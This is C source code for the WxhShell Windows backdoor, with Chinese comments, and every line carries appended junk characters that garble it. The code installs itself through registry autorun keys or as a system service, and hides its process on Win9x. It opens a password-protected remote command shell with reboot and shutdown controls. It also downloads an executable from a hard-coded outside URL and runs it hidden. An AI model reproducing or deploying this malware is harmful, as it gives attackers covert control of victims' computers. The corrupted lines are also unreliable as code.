    if(Boot(SHUTDOWN)) ;3_'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "lm3o(Dk  
    else { -ydT%x  
    closesocket(wsh); u=5^xpI<D  
    ExitThread(0); k 'o?/  
    } 4 0eNgm^  
    break; J5-^@JYK  
    } Mh\c+1MFs  
  // 获取shell O-RiDYej  
  case 's': { ]dH; +3 }  
    CmdShell(wsh); 6[i-Tl  
    closesocket(wsh); Ogb !YF#e  
    ExitThread(0);  .*+ &>m7  
    break; q0o6%c:gW  
  } 6 [IiJhVL  
  // 退出 "xKJ?8   
  case 'x': { o_S8fHqjt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b^1!_1c  
    CloseIt(wsh); _?8T'?-1  
    break; NB[b[1 Ch  
    } EJZ2V>\_-0  
  // 离开 Ec|#i  
  case 'q': { S; >_9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <?!#QA  
    closesocket(wsh); Xg"=,j2  
    WSACleanup(); Gh.02  
    exit(1); LY7'wONx  
    break; (_D#gr{S=  
        } |1EM )zh6  
  } 5_PD ?lg  
  } KpWQ;3D2  
g]S.u8K8m  
  // 提示信息 DY%E&Vd:h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Q*8QV  
} :%{8lanO  
  } ;G ?_^ 0  
Z^b1i`v  
  return; R lv|DED$  
} S;= D/)[mr  
D`+'#%%x  
// shell模块句柄 8"? t6Z;5  
int CmdShell(SOCKET sock) 7@:uVowQ  
{ 0 I,-1o|s  
STARTUPINFO si; %NKf@If)  
ZeroMemory(&si,sizeof(si)); d)LifsD)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $?7}4u,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \ FA7 +Q  
PROCESS_INFORMATION ProcessInfo; *v6'I-#  
char cmdline[]="cmd"; z}Q54,9m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H}d&>!\}F  
  return 0; nI-\HAX  
} >qOhzbAH{<  
z7}@8F  
// 自身启动模式 /W%{b:  
int StartFromService(void) %@LVoP!@!  
{ 3.Y/ZWON  
typedef struct 0HE@L_$;2  
{ Al! P=h  
  DWORD ExitStatus; 1L3L!@  
  DWORD PebBaseAddress; mwBOhEefNJ  
  DWORD AffinityMask; `.@N9+Aj  
  DWORD BasePriority; Y?Xs Z  
  ULONG UniqueProcessId; X\_ku?]v  
  ULONG InheritedFromUniqueProcessId; Av{1~%hU  
}   PROCESS_BASIC_INFORMATION; SH"O<c Dp  
jZ)1]Q2  
PROCNTQSIP NtQueryInformationProcess; P9gIKOOx#4  
`CO?} rW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +~ HL"Vv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dQt]r  
V5m4dQ>t  
  HANDLE             hProcess; vU::dr  
  PROCESS_BASIC_INFORMATION pbi; J 5~bs*a8  
">|fB&~A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xfe,ZC)  
  if(NULL == hInst ) return 0; ?EdF&^[3rD  
8|gwH2 st~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @hp@*$#& 9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E` BL3+kQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ka655O/)&  
#49,7OBU  
  if (!NtQueryInformationProcess) return 0; JpN+'/  
Fq:BRgCE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S'q (Qo  
  if(!hProcess) return 0; 0I1bY]*  
E`$d!7O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =98@MX%P  
[+UF]m%W  
  CloseHandle(hProcess); bNi\+=v<Ys  
?FJU>+{">  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K.B!-<  
if(hProcess==NULL) return 0; =5isT  
3x=T &X+  
HMODULE hMod; !gu# #MrJ9  
char procName[255]; Pi`}-GUe,  
unsigned long cbNeeded; +9M#-:qB  
XI@;;>D1=U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NLRgL'+F  
v="i0lL_  
  CloseHandle(hProcess); N"Q-xK  
It&$R`k  
if(strstr(procName,"services")) return 1; // 以服务启动 #A+ dj| b  
g,*LP  
  return 0; // 注册表启动 @uApm~}  
} 63 F@F t  
Eu2@%2}P  
// 主模块 ;.+sz(:hm  
int StartWxhshell(LPSTR lpCmdLine) I'm.+(1m,  
{ WZ> }  
  SOCKET wsl; Dm2&}{&K  
BOOL val=TRUE; O8qA2@,  
  int port=0; eh`n?C  
  struct sockaddr_in door; [_q3 02  
,ir(~g+{g  
  if(wscfg.ws_autoins) Install(); B*W)e$  
k "7l\;N  
port=atoi(lpCmdLine); J4EQhuQ  
Bu$Z+o  
if(port<=0) port=wscfg.ws_port; S}WQ~e  
{oOzXc6o  
  WSADATA data; hV_bm@f/y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %|Sh|\6A!  
lcO;3CrJ!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k  <SFl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R <}UT  
  door.sin_family = AF_INET; x%@n$4wk7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3@7IY4>o  
  door.sin_port = htons(port); <2^XKaS`  
z$C}V/Ey  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9\y\{DHd  
closesocket(wsl); iEjUo, Y[  
return 1; F|nJ3:v  
} <2{g[le  
WTK )SKa,.  
  if(listen(wsl,2) == INVALID_SOCKET) { W!6&T [j>  
closesocket(wsl); /r2*le (H  
return 1; eb10=Lmj  
} e*K1";  
  Wxhshell(wsl); l1 Nr5PT  
  WSACleanup(); m%7T ~  
I8M^]+c  
return 0; 7 G37V"''  
D[#6jJ Ab  
} II;   
<l>o6K  
// 以NT服务方式启动 rs`"Kz`(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mQwP-s  
{ LlbRr.wL  
DWORD   status = 0; 4}&$s  
  DWORD   specificError = 0xfffffff; D6z*J?3^#&  
$1KvL8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cug=k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4+?d0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uPh/u!  
  serviceStatus.dwWin32ExitCode     = 0; Lgr(j60s  
  serviceStatus.dwServiceSpecificExitCode = 0; 7UnB]-:.  
  serviceStatus.dwCheckPoint       = 0; xQA6!j  
  serviceStatus.dwWaitHint       = 0; zw ,( kv  
Xlg 0u.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >_esLsPWh]  
  if (hServiceStatusHandle==0) return; "Zr+>a  
!N"Y  
status = GetLastError(); C[c^zn  
  if (status!=NO_ERROR) 8>4@g!9E  
{ \A#YL1hh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ah#bj8}  
    serviceStatus.dwCheckPoint       = 0; ku*H*o~  
    serviceStatus.dwWaitHint       = 0; 'j&+Pg)@  
    serviceStatus.dwWin32ExitCode     = status; ^(79SOZC  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6Z ,GD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aI^Z0[P+  
    return; VelR8tjP  
  } 2,T^L (]  
nGoQwKIW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <&47W  
  serviceStatus.dwCheckPoint       = 0; <0sT  
  serviceStatus.dwWaitHint       = 0; zLt7jxx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SN<Dxa8Iy  
} |K(j XZ)  
fg?4/]*T6  
// 处理NT服务事件,比如:启动、停止 =sFLzAu8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :@oy5zib  
{ i!KZg74V  
switch(fdwControl) + $Yld{i  
{ F<9S,  
case SERVICE_CONTROL_STOP: A(2!.Y 2?*  
  serviceStatus.dwWin32ExitCode = 0; :*g3PhNE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xPp\OuwK  
  serviceStatus.dwCheckPoint   = 0; ?yNg5z  
  serviceStatus.dwWaitHint     = 0; pVN) k  
  { (U?*Z/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bk44 wz2 X  
  } (^lw<$N  
  return; j84g6;4Dv  
case SERVICE_CONTROL_PAUSE: z Go*N,'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =}pPr]Cc  
  break; N"k IQe*}1  
case SERVICE_CONTROL_CONTINUE: 8n'"RaLQ8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d&G#3}kOb%  
  break; \g;o9}@3~  
case SERVICE_CONTROL_INTERROGATE: 2N /4.  
  break; 5,~Ju>y*  
}; {];8jdg/?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5wy]z^  
} Y(U+s\X  
?7k%4~H t  
// 标准应用程序主函数 =jEh#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yRdME>_L  
{ v<u`wnt  
|,)=-21&;  
// 获取操作系统版本 9V/:1I0?&0  
OsIsNt=GetOsVer(); ^hyY,X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k. @OFkX.  
{9_}i#,vR  
  // 从命令行安装 K.l7yBm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 552yzn1  
}]BH "  
  // 下载执行文件 + r<d z  
if(wscfg.ws_downexe) { V'Z Z4og  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uW{;@ 7N  
  WinExec(wscfg.ws_filenam,SW_HIDE); mSFh*FG  
} 9L+g;Js$4  
9*b(\Z)N  
if(!OsIsNt) { 7FB aN7l  
// 如果时win9x,隐藏进程并且设置为注册表启动 r0'6\MS13  
HideProc();  HQ0fY  
StartWxhshell(lpCmdLine); 2Y-NxW^]  
} d) i64"  
else }bA@QEJ  
  if(StartFromService()) %j4AX  
  // 以服务方式启动 l2|[  
  StartServiceCtrlDispatcher(DispatchTable); T=~D>2C  
else _Yqog/sG  
  // 普通方式启动 SSH 1Ge5|  
  StartWxhshell(lpCmdLine); @4FG & >kQ  
UZDXv=r|  
return 0; ]8~{C>ch$  
} Y Z.? k4>  
"> ]{t[Ib  
xC}9W6  
l.3|0lopX)  
=========================================== IMT]!j&Y,  
q  W"  
JIH6!  
O*dtVX  
9Z!|oDP-  
BSd\Sg4  
" F15Yn  
&4}Uaxt)  
#include <stdio.h> 8H7=vk+  
#include <string.h> % Ix   
#include <windows.h> wUJ>?u9  
#include <winsock2.h> g*-%.fNA  
#include <winsvc.h> u,&[I^WK`C  
#include <urlmon.h> |J+oz7l?-  
2zN"*Wkn  
#pragma comment (lib, "Ws2_32.lib") ekV|a1)  
#pragma comment (lib, "urlmon.lib") X1Vj"4'wT  
tOT(!yz  
#define MAX_USER   100 // 最大客户端连接数 q:a-tdv2  
#define BUF_SOCK   200 // sock buffer d(!g9H  
#define KEY_BUFF   255 // 输入 buffer P7D__hoE  
c80!Ub@  
#define REBOOT     0   // 重启 ,B8u?{O  
#define SHUTDOWN   1   // 关机 s+ a} _a:  
}Y`D^z~  
#define DEF_PORT   5000 // 监听端口 ?j^:jV  
}T1.~E  
#define REG_LEN     16   // 注册表键长度 FA7q pc  
#define SVC_LEN     80   // NT服务名长度 U ,7O{YM  
4Uzx2   
// 从dll定义API 2, R5mL$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `-)Hot)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1n-+IR"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FofeQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H:5- S  
d,+a}eTP'  
// wxhshell配置信息 e4mAKB s!  
struct WSCFG { )0UXTyw^  
  int ws_port;         // 监听端口 ~M Mv+d88  
  char ws_passstr[REG_LEN]; // 口令 AR?1_]"=  
  int ws_autoins;       // 安装标记, 1=yes 0=no EgB$y"fs  
  char ws_regname[REG_LEN]; // 注册表键名 i8Xz'Sw07  
  char ws_svcname[REG_LEN]; // 服务名 FhJtiw@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bg/a5$t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |SSe n#PYp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !E.CpfaC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t;/s^-}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b-Xc6f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J *nWCL  
1ww#]p`1  
}; mi'3ibCG  
~/m=Q<cV  
// default Wxhshell configuration u?%FD~l:uU  
struct WSCFG wscfg={DEF_PORT, /+JHnedK  
    "xuhuanlingzhe", a,`f`;\7N%  
    1, W:S?_JM  
    "Wxhshell", zkb[u"  
    "Wxhshell", mO8E-D*3  
            "WxhShell Service", 3!qp+i)?  
    "Wrsky Windows CmdShell Service", `&w{-om\  
    "Please Input Your Password: ", U@:h';.  
  1, Q4e+vBECkq  
  "http://www.wrsky.com/wxhshell.exe", ,9YgznQ  
  "Wxhshell.exe" &qMt07  
    }; Tg_#z  
&OXm^f)K  
// 消息定义模块 peD7X:K\s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]@wKm1%v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c\DMeYrg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bx._,G  
char *msg_ws_ext="\n\rExit."; '4e, e|r  
char *msg_ws_end="\n\rQuit."; Boj#r ,x  
char *msg_ws_boot="\n\rReboot..."; a1 v%G  
char *msg_ws_poff="\n\rShutdown..."; )l6(ss!J  
char *msg_ws_down="\n\rSave to "; kK%@cIXS3  
CAbR+ y  
char *msg_ws_err="\n\rErr!"; vp&N)t_  
char *msg_ws_ok="\n\rOK!"; m bZn[D_zi  
6^NL>|?  
char ExeFile[MAX_PATH]; 8k9Yoht  
int nUser = 0; o>75s#= b=  
HANDLE handles[MAX_USER]; M.u1SB0  
int OsIsNt; b-?d(-  
s0\}Q=s[  
SERVICE_STATUS       serviceStatus; 32z2c:G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JsK_q9]$e  
j^6,V\;l  
// 函数声明 BK)3b6L=%  
int Install(void); W'{o`O=GGr  
int Uninstall(void); ]47!Zo,  
int DownloadFile(char *sURL, SOCKET wsh); )'i n}M  
int Boot(int flag); 'BX U '  
void HideProc(void); D $&6 8  
int GetOsVer(void); .g>0FP  
int Wxhshell(SOCKET wsl); )~be<G( a  
void TalkWithClient(void *cs); $Y?[[>u  
int CmdShell(SOCKET sock); fM!@cph(8  
int StartFromService(void); 7Sl"q=>  
int StartWxhshell(LPSTR lpCmdLine); K_GqM9  
IylfMwLC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &1FyauH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3DOc,}nI~@  
s)~Wcp'+M:  
// 数据结构和表定义 $J9/AFzO"  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Hq6nT/  
{ ->r udRQ  
{wscfg.ws_svcname, NTServiceMain}, mt\pndTy7!  
{NULL, NULL} fRK=y+gl@  
}; ~u-_DOA  
7;@o]9W  
// 自我安装 <tgfbY^nL  
int Install(void) nj=nSD  
{ v9MliD'  
  char svExeFile[MAX_PATH]; D:0?u_[W  
  HKEY key; +ux170Cd3  
  strcpy(svExeFile,ExeFile); gQ$0 |0O  
6QePrf  
// 如果是win9x系统,修改注册表设为自启动 FV\$M6 _  
if(!OsIsNt) { q'KXn0IY#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,% *Jm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yC\!6pg  
  RegCloseKey(key); C:ntr=3J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { so_^%) gdJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @r]1;KG  
  RegCloseKey(key); 1xjw=  
  return 0; nJR(lXWO  
    } GsiT!OP]y  
  } f"Kl? IN8  
} mk[<=k~  
else { ZO& F15$P  
jygKw+C  
// 如果是NT以上系统,安装为系统服务 H+npe'm_Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8I<LZ{a10  
if (schSCManager!=0) % |G"ZPO?  
{ LX</xI08W  
  SC_HANDLE schService = CreateService IeAUVR S)  
  ( Xu& v3Y~k  
  schSCManager, qJK-HF:#  
  wscfg.ws_svcname, N**" u"CX  
  wscfg.ws_svcdisp, UQnv#a>  
  SERVICE_ALL_ACCESS, ^~W s4[Guo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GB{Q)L  
  SERVICE_AUTO_START, tUhr gc  
  SERVICE_ERROR_NORMAL, G5 *_  
  svExeFile, xM13OoU  
  NULL, sfR0wEqI  
  NULL, ,lQfsntk'  
  NULL, cB_ 3~=fV  
  NULL, 9 =D13s(C  
  NULL zTg&W7oz  
  ); %B(E;t63W  
  if (schService!=0) nmoC(| r  
  { t'*2)U  
  CloseServiceHandle(schService); # 66vkf*  
  CloseServiceHandle(schSCManager); NT<}-^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i+~H~k}"X  
  strcat(svExeFile,wscfg.ws_svcname); T#ehJq 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [='<K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F32U;fp3  
  RegCloseKey(key); 0pA>w8mh  
  return 0; B+lnxr0t  
    } gsVm)mkd  
  } [-h=L Jf#  
  CloseServiceHandle(schSCManager); [-2Tj)P C  
} 5Eu`1f?  
}  EHda  
]]/p.#oD,  
return 1; N[wyi&m4  
} oD_#oX5\  
;_E][m  
// 自我卸载 Rip[  
int Uninstall(void) 79Q>t%rD[  
{ \&4)['4,  
  HKEY key;  G`NGt_C  
#.|MV}6rQ  
if(!OsIsNt) { !L@^Zgs|@?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A2"$B\j1  
  RegDeleteValue(key,wscfg.ws_regname); 2fG[q3`  
  RegCloseKey(key); K!;>/3Y2-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kbcr-89Gv~  
  RegDeleteValue(key,wscfg.ws_regname); J>^KQ  
  RegCloseKey(key); e@L?jBj8m  
  return 0; %J :2y  
  } 4H hQzVM{  
} GtkZ%<KF9  
} ;xjw'%n,  
else { =EUi| T4:  
?Bsc;:KF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =:Lc-y>  
if (schSCManager!=0) 6Lz:J:Q)  
{ B^BbA-I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &u0on) E  
  if (schService!=0) s3oQ( wC %  
  { g/OL ^A  
  if(DeleteService(schService)!=0) { * NdL4c~  
  CloseServiceHandle(schService); 89[OaT_hs  
  CloseServiceHandle(schSCManager); g BV66L  
  return 0; 7r$'2">K(  
  } <26Jif:  
  CloseServiceHandle(schService); leO..M  
  } ef]60OtP  
  CloseServiceHandle(schSCManager); .h\[7r  
} d5 U+]g  
} ?o_ D#gG*  
ThYHVJ[;  
return 1; CChCxB  
} +t p@Tb  
pF'M  
// 从指定url下载文件 zzZ K S  
int DownloadFile(char *sURL, SOCKET wsh) ~4u[\&Sh  
{ 6q@VkzF  
  HRESULT hr; X XC(R  
char seps[]= "/"; U[c^xz&  
char *token; jmva0K},SE  
char *file; 99?: 9g  
char myURL[MAX_PATH]; P~u~`eH*  
char myFILE[MAX_PATH]; CO"Nv  
<amdPo+2D  
strcpy(myURL,sURL); t"FB}%G  
  token=strtok(myURL,seps); 6F08$,%Y  
  while(token!=NULL)  bj U]]  
  { K6e_RzP,.w  
    file=token; mW_ N-z  
  token=strtok(NULL,seps); ;09U*S$eK  
  } @ \JoICz  
gBJM|"_A?  
GetCurrentDirectory(MAX_PATH,myFILE); K)TMr"j\  
strcat(myFILE, "\\"); NEcE -7aT  
strcat(myFILE, file); zn/b\X/  
  send(wsh,myFILE,strlen(myFILE),0); j4!oBSp  
send(wsh,"...",3,0); k{.`=j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >kG: MJj  
  if(hr==S_OK) zM++ Z*  
return 0; 17@#"uT0  
else 5/4q}U3  
return 1; *)um^O  
k+y>xI,  
} ^Mi&2AvS  
E~eSHJ(oR7  
// 系统电源模块 nfA#d-  
int Boot(int flag) ^fT?(y_= e  
{ <h mRr  
  HANDLE hToken; 4 X6_p(  
  TOKEN_PRIVILEGES tkp; F;<cG `|Rx  
lb[\Lzdvmu  
  if(OsIsNt) { W5zlU2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i2 m+s;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xGo,x+U*  
    tkp.PrivilegeCount = 1; <ly.l]g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [E4#|w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qn#f:xltu  
if(flag==REBOOT) { l]KxUkA+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -`} d@x  
  return 0; Kf'oXCs  
} [Z{0|NR  
else { qo5WZ be  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J G3#(DVc;  
  return 0; \EOPlyf8x  
} U+'h~P'4  
  } e$=0.GWT  
  else { t+m ug  
if(flag==REBOOT) { -KFozwr5/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `=VN\W^&  
  return 0; m{ C  
} Y+ea  
else { o+ 0"@B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H?W8_XiN  
  return 0; hF7#i_UN<  
} =#sr4T  
} I,wgu:}P#  
"I)`g y&  
return 1; 0ntf%#2{  
} .m_-L Y-  
Cz]NSG5  
// win9x进程隐藏模块 ;&MI M`&$  
void HideProc(void) gQ~X;'  
{ 5p`.RWls  
kPg| o3H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s'^"s_j  
  if ( hKernel != NULL ) Y76UhtYH  
  { NY9\a[[^[8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !pG_MO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xcA5  
    FreeLibrary(hKernel); xix: = a  
  } ]Y@B= 5e/  
v35=4>Y  
return; Ht!]%  
} S1oP_A[|  
Qfd4")zhG  
// 获取操作系统版本 13KfI  
int GetOsVer(void) 'Z=8no`<  
{ y0f"UH/   
  OSVERSIONINFO winfo; yJG M"$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l=?G"1  
  GetVersionEx(&winfo); C AvyS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t>izcO  
  return 1; 1# -=|:U  
  else %`1 p8>n  
  return 0; tsvh/)V  
} Uel^rfE`  
w5tcO%+k1  
// 客户端句柄模块 qKL mL2O  
int Wxhshell(SOCKET wsl) N 56/\1R  
{ \c.MIDp"  
  SOCKET wsh; |H7f@b]Sk  
  struct sockaddr_in client; uDXRw*rTv  
  DWORD myID; y o |"-  
^CWxYDG*  
  while(nUser<MAX_USER) XlGDv*d:#d  
{ (np60mX<  
  int nSize=sizeof(client); 9j~|m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eQQ*ZNG  
  if(wsh==INVALID_SOCKET) return 1; }4A $j{\  
pwG"_|h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vRn"0Mzl8  
if(handles[nUser]==0) ^B`*4  
  closesocket(wsh); FyV)Nmc%t  
else WfF~\DlrD  
  nUser++; pNIu;1M5a  
  } N);2 2-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N|53|H  
xvx+a0 A  
  return 0; / >q?H)6  
} 1so9w89  
;+-Dg3  
// 关闭 socket zEYT,l  
void CloseIt(SOCKET wsh) wW?/`>@  
{ vjz*B$  
closesocket(wsh); Gl@}b\TB  
nUser--; O ELh6R  
ExitThread(0); ~ M!s0jT  
} z1R_a=7  
PH]/*LEj  
// 客户端请求句柄 0M_~@E*&  
void TalkWithClient(void *cs) jj$D6f/mOG  
{ 7g&"clRGO  
XV|u!'Ey  
  SOCKET wsh=(SOCKET)cs; _2N7E#m"S  
  char pwd[SVC_LEN]; "Smek#l  
  char cmd[KEY_BUFF]; dnW#"  
char chr[1]; &W@#p G  
int i,j; [x\?._>  
,KyG^;Riy  
  while (nUser < MAX_USER) {  wq@{85  
K.T.?ug;:  
if(wscfg.ws_passstr) { U&}v1wdZ3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VQ,;~^Td  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8n1<nS<  
  //ZeroMemory(pwd,KEY_BUFF); Pv3rDQ/Yt|  
      i=0; lI"~*"c`  
  while(i<SVC_LEN) { 2LqJ.HH  
B !}/4"  
  // 设置超时 ft" t  
  fd_set FdRead; Z\9DtvV  
  struct timeval TimeOut; gfY1:0  
  FD_ZERO(&FdRead); PZjK6]N\  
  FD_SET(wsh,&FdRead); #5b}"xK{  
  TimeOut.tv_sec=8; 9nrmz>es|-  
  TimeOut.tv_usec=0; MaS"V`NI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q]v><  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n |e=7?H8  
+8#hi5e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zOfMKrRG  
  pwd=chr[0]; H0P:t(<Gt  
  if(chr[0]==0xd || chr[0]==0xa) { 7)Y0D@wg  
  pwd=0; T}55ZpS C&  
  break; Z;qgB7-M  
  } ]8;2Oh   
  i++; I"5VkeIx  
    } ZqK1|/\ rh  
{dF_ =`.  
  // 如果是非法用户,关闭 socket p}:"@6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CqkY_z  
} @7j$$  
sJ !<qb5!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y :-O/X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q%Fa1h:2&  
bnYd19>  
while(1) { LZ 3PQL  
[42EqVR  
  ZeroMemory(cmd,KEY_BUFF); $YztLcn   
r-aCa/4y!  
      // 自动支持客户端 telnet标准   $(=0J*ND"  
  j=0; lc8zF5  
  while(j<KEY_BUFF) { 8EBy5X}US  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OoqA`%  
  cmd[j]=chr[0]; zHu w[  
  if(chr[0]==0xa || chr[0]==0xd) { \zMx~-2oN  
  cmd[j]=0; _Q=h3(ZI  
  break; w$1B|7tX;2  
  } Ht_7:5v&   
  j++; li7"{+ct  
    } L7rH=gZ&!]  
&s>E~M0+J  
  // 下载文件 Mr6q7  
  if(strstr(cmd,"http://")) { l?Qbwv}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HV}*}Ty  
  if(DownloadFile(cmd,wsh)) "t!_b ma  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "eb+O  
  else !bGMVw6_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); __OH gp 1  
  } jM'(Qa  
  else { i~sW_f+  
7~ =r9-&G  
    switch(cmd[0]) { |J:kL3g  
  @||GMA+|  
  // 帮助 UJ^MS4;I3  
